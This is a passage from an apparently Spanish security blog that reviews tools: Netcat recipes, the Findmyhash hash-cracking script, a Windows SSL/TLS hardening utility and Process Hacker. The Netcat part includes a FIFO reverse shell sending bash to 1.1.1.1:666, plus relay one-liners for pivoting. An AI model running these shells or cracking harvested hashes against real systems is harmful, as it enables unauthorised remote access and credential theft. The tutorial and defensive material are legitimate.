* Si la versión de Netcat no permite invocar comandos directamente, podemos utilizar un fichero de FIFO:
mkfifo pipe
/bin/bash -i < pipe | nc -v 1.1.1.1 666 > pipe

Hacer de proxy directo (aceptar una conexión entrante y abrir una conexión saliente)
ncat -v -l 1111 -c "ncat www.google.es 80"

* Si la versión de Netcat no permite invocar comandos:
mkfifo pipe
nc -v -l 1111 < pipe | nc www.google.es 80 > pipe

Hacer de proxy combinado (p.e. unir 2 conexiones salientes o 2 conexiones entrantes)
ncat -v -l 1111 -c "ncat -l 2222"

* Si la versión de Netcat no permite invocar comandos:
mkfifo pipe
nc -v -l 1111 < pipe | nc -l 2222 > pipe

* Y si tampoco disponemos de FIFO podemos utilizar el comando “tail”:
echo -en "" > pipe.txt
tail -f pipe.txt | nc -v -l 1111 | nc -l 2222 > pipe.txt

A partir del Netcat original y como muestra de su éxito se han creado varios clones con mejoras y nuevas funcionalidades, por ejemplo: permitir conexiones cifradas, uso de proxies, conexiones múltiples, IPv6, etc.

Los clones más populares son:
Netcat (original)
GNU Netcat
Ncat
Sbd
Socat
SslNetcat
Pnetcat
Cryptcat

Aunque muchas distribuciones de Linux llevan ya incluida alguna de estas herramientas de forma que ni siquiera necesitaremos instalarla.

Findmyhash

Findmyhash es un script desarrollado en Python que utiliza un total de 49 servicios online de crackeo de contraseñas.

El objetivo con el que hemos desarrollado esta aplicación es aumentar las posibilidades de romper un hash en aquellas situaciones en las que no disponemos de las Rainbow Tables necesarias. De esta manera, basta con introducir nuestros hashes en la aplicación y ella se encarga de buscarla en diferentes bases de datos online mostrando el resultado final.

Actualmente soporta diez tipos de hashes (algoritmos) diferentes: MD4, MD5, SHA1, SHA256, RMD160, LM, NTLM, MYSQL, CISCO7 y JUNIPER.

Hasta ahora, hemos realizado pruebas principalmente con MD5, LM y NTLM, por ser los más habituales, con unos resultados bastantes satisfactorios. En el caso de LM / NTLM, por ejemplo, existe un porcentaje de acierto de entre el 60 y el 70% (siempre y cuando se especifiquen el valor de ambos hashes).

Para realizar estas pruebas hemos utilizado un total de 100 hashes de contraseñas reales (que se están/estaban utilizando en algún directorio activo) con ejemplos como: "Dba$23.8-J", "Jua!gar8012", "$3St4P4$_0rDd3" ó "7:23^Xl0aY.6=".

La URL del proyecto es:
http://code.google.com/p/findmyhash/

Y podéis descargar la aplicación directamente desde aquí:
http://code.google.com/p/findmyhash/downloads/list

Hardening SSL/TLS.

Con Harden SSL / TLS una aplicación que permite mejorar la seguridad de SSL / TLS de las versiones de Windows 2000, 2003, 2008, 2008 R2, XP, Vista y 7. Esta aplicación permite establecer a nivel local y remota políticas basadas en permitir o denegar ciertos hashes o conjuntos de cifrado, establecer prioridades y modificar parámetros de la caché de sesión TLS.


Harden SSL / TLS permite realizar políticas específicas de ajuste con respecto a los cifrados y los protocolos que estén disponibles para aplicaciones que utilizan el interfaz SCHANNEL de criptografía, ya sean aplicaciones cliente o servidor. Una gran cantidad de aplicaciones de Windows utilizan esta interfaz, por ejemplo: Google Chrome, Safari de Apple… Al cambiar la configuración indirectamente se puede controlar que cifrados pueden utilizar estas aplicaciones. Teniendo en cuenta que una aplicación puede solicitar un conjunto específico de sistemas de cifrado, y si se ha desactivado este conjunto ya no puede usarlo.

En el modo avanzado de esta aplicación permite:


  • Habilitar el modo ECC P521; Microsoft eliminó el modo ECC P521 después de Vista y Server 2008, esta opción permite volver a habilitar y volver a introducir el modo ECC P521 para Windows 7 y Server 2008R2.
  • Habilitar soporte módulo 1; Cuando un servidor Web utiliza un certificado con un exponente 1 de clave pública RSA, el exponente de la clave privada también se pone a 1. Si estas condiciones están presentes, la conexión no tiene la seguridad de encriptación. Al habilitar esta se configura el cliente para permitir una conexión a un servidor Web que utiliza un certificado con un exponente 1 de clave pública RSA.
  • Modificar el tiempo de la cache TLS / SSL; Una de las razones para cambiar el valor predeterminado de la caché de sesión SSL es obligar al cliente a autenticar con más frecuencia. El frecuente almacenamiento en caché es útil a veces, por ejemplo, si se desea reducir el esfuerzo computacional o si se sabe que el cliente está utilizando una tarjeta inteligente y desea que la página web sea accesible sólo cuando el usuario inserta la tarjeta inteligente en el lector.
  • Tamaño de la cache TLS / SSL; IIS mantiene los objetos en memoria para el seguimiento de cada conexión a la web de entrada. Después de cinco minutos de tiempo de inactividad, estos objetos son destruidos para reclamar los recursos. Durante este proceso, IIS purga el ID de sesión SSL / TLS de la tabla sesión ID de la caché del sistema operativo. IIS también purga toda la información de conexión que se negocia entre el cliente y el servidor. Cuando un cliente intenta reanudar una sesión de SSL / TLS mediante el identificador de sesión anterior, el servidor no puede encontrar la información de conexión en la memoria caché. Por lo tanto, el cliente debe renegociar la conexión. Además, el cliente debe obtener un nuevo identificador de sesión. El aumento del tamaño de la caché puede reducir la carga de la CPU, pero aumenta el uso de memoria, cada elemento de caché de la sesión normalmente requiere de 2 a 4 Kb de memoria.

Más información de Harden SSL / TLS:
http://www.g-sec.lu/sslharden/documentation.pdf

Descarga de Harden SSL / TLS:
http://www.g-sec.lu/sslharden/HardenSSL.zip

Herramienta para monitorizar procesos en busca de malware.

Se trata Procces Hacker una herramienta para sistemas Windows muy potente y polivalente que ayuda a monitorizar procesos, recursos del sistema, depurar software y detectar malware.

Entre sus características principales destaca:

  • Una descripción detallada de la actividad de los procesos que corren en el sistema resaltando los más importantes. 
  • Utiliza gráficos y estadísticas que permiten localizar rápidamente  los procesos que más recursos consumen y los que sobrecargan la CPU. 
  • Descubre los procesos que están utilizando un archivo, esto nos permite saber porque no se puede eliminar un archivo determinado. 
  • Permite ver qué procesos tienen conexiones de red activas con detalles como: puerto, ip de destino, ancho de banda… 
  • Obtener información en tiempo real sobre el acceso a disco. 
  • Puede ver trazas detalladas con kernel-mode, WOW64 y .NET. 
  • Crear, modificar y controlar los servicios de Windows. 
  • Muestra máscaras simbólicas de acceso (por ejemplo Read y Write ), en lugar de números (por ejemplo 0x12019f ). 
Esta herramienta combinada con la web ProcessLibrary un recurso gratuito de Uniblue Systems Ltd. que proporciona información acerca de los procesos y DLLs que se encuentran en los sistemas Windows y que cuenta con una amplia base de datos y se actualiza regularmente con más de 195.000 entradas; forman una combinación excelente para detectar malware en un sistema Windows.

Más información y descarga de Procces Hacker:
http://processhacker.sourceforge.net/